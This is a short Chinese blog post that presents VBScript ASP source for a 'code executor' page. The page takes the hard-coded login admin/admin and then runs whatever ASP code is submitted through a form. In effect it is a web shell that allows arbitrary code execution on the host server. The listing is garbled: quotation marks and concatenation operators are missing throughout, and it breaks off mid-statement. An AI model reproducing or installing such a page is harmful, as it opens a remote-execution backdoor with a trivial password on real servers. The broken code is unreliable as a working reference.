编写一个asp代码执行器
2018-09-06 12:15
保存为runasp.asp运行。账号密码admin,登陆后输入代码就可执行了!!
<% @ LANGUAGE=VBSCRipT %>
<%Option Explicit
response.buffer=true
dim SpassWord,SUserName
SUserName=admin
Spassword=admin
dim SQLMutiStr
dim i
dim action
action=request.querystring(action)
IF action=GetCode then ---------TOT
NumCodeJS
ELSE --------TOT
Response.Write(<!DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.0 Transitional//EN>)
Response.Write(<HTML>)
Response.Write(<HEAD>)
Response.Write(<META NAME=Generator CONTENT=EditPlus,V37,PaintBlue.Net>)
Response.Write(<META NAME=Author CONTENT=V37,PaintBlue.Net>)
Response.Write(<META NAME=Description CONTENT=运行ASP代码的ASP脚本!>)
Response.Write(</HEAD>)
Response.Write(<BODY bgcolor=#D4D0C8>)
SQLMutiStr=trim(Request.Form(SQLMutiStr))
if session(login)= and action=chkpass then
session(login)=checkPass()
end if
if action=exit then session(login)=
if session(login)=1 then
if action=RunCode then
if SQLMutiStr= then
Response.write 没有输入要运行的代码!
Response.write <br><br><a href=javascript:window.history.back();>返回运行页面</a><br><br>
Response.write <a href=?action=exit>退出登陆</a>
response.end
else
dim ExeStrArr
dim re
dim tempSQL,tempSQL2
dim ScriptArr,ScriptSubArr
tempSQL2=
tempSQL=split(SQLMutiStr,vbcrlf)
if inStr(lcase(tempSQL(0)),language)>0 then
tempSQL2=tempSQL(1)
if ubound(tempSQL)>1 then
for i=1 to ubound(tempSQL)
tempSQL2=tempSQL2tempSQL(i)
next
end if
tempSQL2=trim(tempSQL2)
else
tempSQL2=SQLMutiStr
end if
tempSQL2=replace(tempSQL2,<%=,<%response.write )
do
tempSQL2=replace(tempSQL2,vbcrlfvbcrlf,vbcrlf)
loop while instr(tempSQL2,vbcrlfvbcrlf)>0
tempSQL2=trim(tempSQL2)
tempSQL2=<%%>tempSQL2<%%>
ScriptArr=split(tempSQL2,%>)
dim ub,kub
ub=ubound(ScriptArr)
for i=0 to ub-1
ScriptSubArr=split(ScriptArr(i),<%)
if i>0 then response.write (ScriptSubArr(0))
ExeCuteIt(ScriptSubArr(1